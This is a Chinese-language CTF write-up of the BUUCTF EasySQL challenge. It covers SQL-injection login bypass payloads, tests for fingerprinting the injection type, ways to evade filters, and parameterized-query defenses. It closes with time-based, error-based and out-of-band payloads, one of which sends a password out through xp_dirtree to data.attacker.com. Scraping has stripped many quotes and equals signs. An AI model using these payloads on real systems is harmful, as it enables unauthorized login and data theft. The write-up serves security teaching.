BUUCTF[极客大挑战 2019]EasySQL 1题解:从万能密码到实战SQL注入防御

张开发
2026/4/20 0:36:56 15 分钟阅读

分享文章

BUUCTF[极客大挑战 2019]EasySQL 1题解:从万能密码到实战SQL注入防御
1. 从登录框到数据库SQL注入初探第一次看到BUUCTF这道EasySQL题目时我盯着那个朴素的登录界面笑了。这不就是典型的SQL注入演练场吗随便输入admin/123456页面毫无反应但仔细观察地址栏发现参数是通过GET请求传递的。老司机都知道GET请求的参数直接暴露在URL里简直就是为SQL注入量身定做的入口。SQL注入的本质其实很简单把用户输入的数据当成了代码来执行。想象一下你点外卖时在备注栏写再送一份小龙虾否则差评结果商家真的照做了——这就是SQL注入的精髓。在WEB安全十大漏洞中它常年稳居前三不是因为它多高级而是因为太多系统至今还在用字符串拼接的方式构造SQL语句。2. 解剖登录背后的SQL语句2.1 还原后端查询逻辑那个登录界面背后数据库查询语句大概率长这样SELECT * FROM users WHERE username[输入的用户名] AND password[输入的密码]当我输入admin--时神奇的事情发生了。这个简单的单引号就像魔法钥匙把语句变成了SELECT * FROM users WHERE usernameadmin-- AND passwordxxx--在SQL中是注释符它让后面的条件判断全部失效。这就是为什么输入admin--后系统直接放行——它只检查了用户名是否存在完全跳过了密码验证。2.2 字符型注入的指纹识别判断注入类型就像医生问诊需要各种试探性检查输入1 and 11返回正常输入1 and 12返回异常输入1 order by 5--测试字段数通过这些测试我们确认这是个用单引号包裹的字符型注入点。记得有次我遇到个奇葩系统用反引号()做定界符折腾了半天才发现所以永远不要假设开发者的习惯。3. 万能密码的七十二变3.1 经典OR大法最著名的万能密码payload是这样的username: 1 or 11 password: 1 or 11这会把SQL语句改造成SELECT * FROM users WHERE username1 or 11 AND password1 or 11由于OR运算符的优先级实际执行顺序是(username1 OR (11 AND password1)) OR 11最终整个WHERE条件永远为真就像用万能钥匙打开了所有锁。3.2 注释符的妙用更简洁的payload可以这样写username: admin-- password: [任意]对应的SQLSELECT * FROM users WHERE usernameadmin-- AND passwordxxx--注释掉后续所有条件相当于对数据库说我只要用户名为admin的记录后面的话当我没说。在MySQL中也可以用#但在URL中需要编码为%23。4. 从攻击到防御的实战指南4.1 参数化查询最坚固的盾防御SQL注入的黄金法则是永远不要拼接SQL语句以Python为例危险写法query SELECT * FROM users WHERE usernameusername AND passwordpassword安全写法query SELECT * FROM users WHERE username%s AND password%s cursor.execute(query, (username, password))参数化查询就像把数据和代码分装在不同的集装箱里运输攻击者再精心构造的payload也会被当作普通货物处理。4.2 防御措施的纵深配置除了参数化查询还应该最小权限原则数据库账号只给必要权限输入验证过滤特殊字符但不要依赖这个错误处理禁止显示详细数据库错误WAF防护Web应用防火墙作为最后防线有次我审计一个系统发现他们虽然用了参数化查询但数据库账号却是root这就好比用保险箱装钱却把钥匙插在锁上。5. CTF与真实世界的差异这道EasySQL题目虽然简单但揭示了一个重要事实CTF中的SQL注入往往比现实场景更友好。真实渗透测试中你可能会遇到过滤了空格要用/**/或Tab代替屏蔽了关键字用大小写混淆或编码绕过限制输出长度用substring分段提取记得某次真实渗透目标系统过滤了所有空格和注释符最后我用号连接语句才成功注入。这些实战技巧在CTF中很少遇到但正是这些细节区分了脚本小子和专业安全人员。6. 拓展训练注入的进阶技巧想真正掌握SQL注入建议尝试时间盲注用sleep()函数通过响应时间判断条件admin AND IF(11,SLEEP(5),0)--报错注入利用extractvalue等函数触发错误回显admin AND extractvalue(1,concat(0x7e,(SELECT version),0x7e))--OOB外带数据通过DNS查询泄露信息admin; DECLARE data VARCHAR(1024);SELECT data(SELECT TOP 1 password FROM users);EXEC(master..xp_dirtree \\data.attacker.com\c$);--这些技术在近年来的CTF比赛中越来越常见也是企业级渗透测试的必备技能。不过要记住未经授权的测试可能违法请在授权范围内进行。

更多文章